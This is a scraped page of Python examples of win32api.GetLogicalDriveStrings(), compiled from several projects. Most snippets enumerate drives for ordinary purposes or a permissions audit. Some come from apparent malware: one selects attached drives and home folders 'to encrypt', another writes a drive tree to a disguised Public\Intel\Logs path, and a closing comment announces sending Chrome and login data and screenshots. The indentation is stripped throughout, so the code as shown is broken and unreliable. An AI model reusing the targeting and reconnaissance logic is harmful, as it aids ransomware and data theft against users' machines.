def get_drives():
def get_win_drives():
import win32api
drives = win32api.GetLogicalDriveStrings()
drives = drives.split('\000')[:-1]
return drives
def get_linux_drives():
return []
def get_mac_drives():
return []
def switch(case):
return {'win': get_win_drives(),
'linux': get_linux_drives(),
'macosx': get_mac_drives()}[case]
return switch(platform)
python类GetLogicalDriveStrings()的实例源码
def get_base_dirs(self, home_dir, __config):
# Function to return a list of base directories to encrypt
base_dirs = []
# Add attached drives and file shares
if __config["encrypt_attached_drives"] is True:
attached_drives = win32api.GetLogicalDriveStrings().split('\000')[:-1]
for drive in attached_drives:
drive_letter = drive[0]
if drive_letter != 'C' and not self.is_optical_drive(drive_letter):
base_dirs.append(drive)
# Add C:\\ user space directories
if __config["encrypt_user_home"] is True:
base_dirs.append(home_dir)
return base_dirs
def findUnusedDriveLetter():
existing = [x[0].lower() for x in win32api.GetLogicalDriveStrings().split('\0') if x]
handle = win32wnet.WNetOpenEnum(RESOURCE_REMEMBERED,RESOURCETYPE_DISK,0,None)
try:
while 1:
items = win32wnet.WNetEnumResource(handle, 0)
if len(items)==0:
break
xtra = [i.lpLocalName[0].lower() for i in items if i.lpLocalName]
existing.extend(xtra)
finally:
handle.Close()
for maybe in 'defghijklmnopqrstuvwxyz':
if maybe not in existing:
return maybe
raise RuntimeError("All drive mappings are taken?")
def findUnusedDriveLetter(self):
existing = [x[0].lower() for x in win32api.GetLogicalDriveStrings().split('\0') if x]
handle = win32wnet.WNetOpenEnum(RESOURCE_REMEMBERED,RESOURCETYPE_DISK,0,None)
try:
while 1:
items = win32wnet.WNetEnumResource(handle, 0)
if len(items)==0:
break
xtra = [i.lpLocalName[0].lower() for i in items if i.lpLocalName]
existing.extend(xtra)
finally:
handle.Close()
for maybe in 'defghijklmnopqrstuvwxyz':
if maybe not in existing:
return maybe
self.fail("All drive mappings are taken?")
def findUnusedDriveLetter():
existing = [x[0].lower() for x in win32api.GetLogicalDriveStrings().split('\0') if x]
handle = win32wnet.WNetOpenEnum(RESOURCE_REMEMBERED,RESOURCETYPE_DISK,0,None)
try:
while 1:
items = win32wnet.WNetEnumResource(handle, 0)
if len(items)==0:
break
xtra = [i.lpLocalName[0].lower() for i in items if i.lpLocalName]
existing.extend(xtra)
finally:
handle.Close()
for maybe in 'defghijklmnopqrstuvwxyz':
if maybe not in existing:
return maybe
raise RuntimeError("All drive mappings are taken?")
def findUnusedDriveLetter(self):
existing = [x[0].lower() for x in win32api.GetLogicalDriveStrings().split('\0') if x]
handle = win32wnet.WNetOpenEnum(RESOURCE_REMEMBERED,RESOURCETYPE_DISK,0,None)
try:
while 1:
items = win32wnet.WNetEnumResource(handle, 0)
if len(items)==0:
break
xtra = [i.lpLocalName[0].lower() for i in items if i.lpLocalName]
existing.extend(xtra)
finally:
handle.Close()
for maybe in 'defghijklmnopqrstuvwxyz':
if maybe not in existing:
return maybe
self.fail("All drive mappings are taken?")
def PopulateVolumes(self):
volume_list_string = win32api.GetLogicalDriveStrings()
volume_list = volume_list_string.split('\x00')
for volume_name in volume_list:
if volume_name != '':
self.combo_logical_volumes.Append('\\\\.\\{}'.format(volume_name[:-1]))
# end of class LogicalVolumeDialog
def DriveNameToPath(drive):
if os.name=='nt':
import win32api
namePaths = { win32api.GetVolumeInformation(i)[0].lower():i for i in win32api.GetLogicalDriveStrings().split('\0') if i }
drive = drive.lower()
if drive not in namePaths: raise ValueError('Drive name "%s" not found' % drive)
return namePaths[drive]
else:
raise NotImplementedError # todo: do something with /media/XXX here for ubuntu
def check_drives():
for drive in win32api.GetLogicalDriveStrings().split("\x00"):
sys.stdout.write(".")
type = win32file.GetDriveType(drive)
if type == win32con.DRIVE_FIXED:
fs = win32api.GetVolumeInformation(drive)[4]
if fs == 'NTFS':
warning = ""
weak_perms = check_weak_write_perms(drive, 'directory')
if weak_perms:
# print "Weak permissions on drive root %s:" % drive
# print_weak_perms('directory', weak_perms)
sys.stdout.write(".")
save_issue("WPC010", "writable_drive_root", weak_perms)
elif fs == 'FAT':
save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem (FAT does not support file permissions)" )
sys.stdout.write("!")
elif fs == 'FAT32':
save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem (FAT32 does not support file permissions)" )
sys.stdout.write("!")
else:
warning = " (not NTFS - might be insecure)"
save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem (Not NTFS - might not be secure)" )
sys.stdout.write("!")
# print "Fixed drive %s has %s filesystem%s" % (drive, fs, warning)
print
def get_drives():
"""List all the drives on this system."""
drives = win32api.GetLogicalDriveStrings()
return [x.rstrip("\\") for x in drives.split('\000') if x]
def get_list_drives(self):
print '[*] Getting list of available drives'
drives = win32api.GetLogicalDriveStrings()
drives = drives.split('\000')[:-1]
print '[*] Returning list of drives'
return drives
def GetFirstFreeDriveLetter():
""" Returns the first unused Windows drive letter in [A, Z] """
all_letters = [c for c in string.uppercase]
in_use = win32api.GetLogicalDriveStrings()
free = list(set(all_letters) - set(in_use))
return free[0]
def DriveTree():
file_dir1 = 'C:\Users\Public\Intel\Logs\Dir_View.txt' #The drive hierarchy will be saved in this file
drives = win32api.GetLogicalDriveStrings()
drives = drives.split('\000')[:-1]
no_of_drives = len(drives)
file_dir_O = open(file_dir1, "w")
for d in range(no_of_drives):
try:
file_dir_O.write(str(drives[d]) + "\n")
directories = os.walk(drives[d])
next_dir = next(directories)
next_directories = next_dir[1]
next_files = next_dir[2]
next_final_dir = next_directories + next_files
for nd in next_final_dir:
file_dir_O.write(" " + str(nd) + "\n")
try:
sub_directories = os.walk(drives[d] + nd)
next_sub_dir = next(sub_directories)[1]
next_sub_sub_file = next(sub_directories)[2]
next_final_final_dir = next_sub_dir + next_sub_sub_file
for nsd in next_final_final_dir:
file_dir_O.write(" " + str(nsd) + "\n")
try:
sub_sub_directories = os.walk(drives[d] + nd + '\\' + nsd)
next_sub_sub_dir = next(sub_sub_directories)[1]
next_sub_sub_sub_file = next(sub_sub_directories)[2]
next_final_final_final_dir = next_sub_sub_dir + next_sub_sub_sub_file
for nssd in next_final_final_final_dir:
file_dir_O.write(" " + str(nssd) + "\n")
except Exception as e:
pass
except Exception as e:
pass
except Exception as e:
pass
file_dir_O.close()
return True
#Function to send the data i.e. info.txt, chrome data, login data, screenshots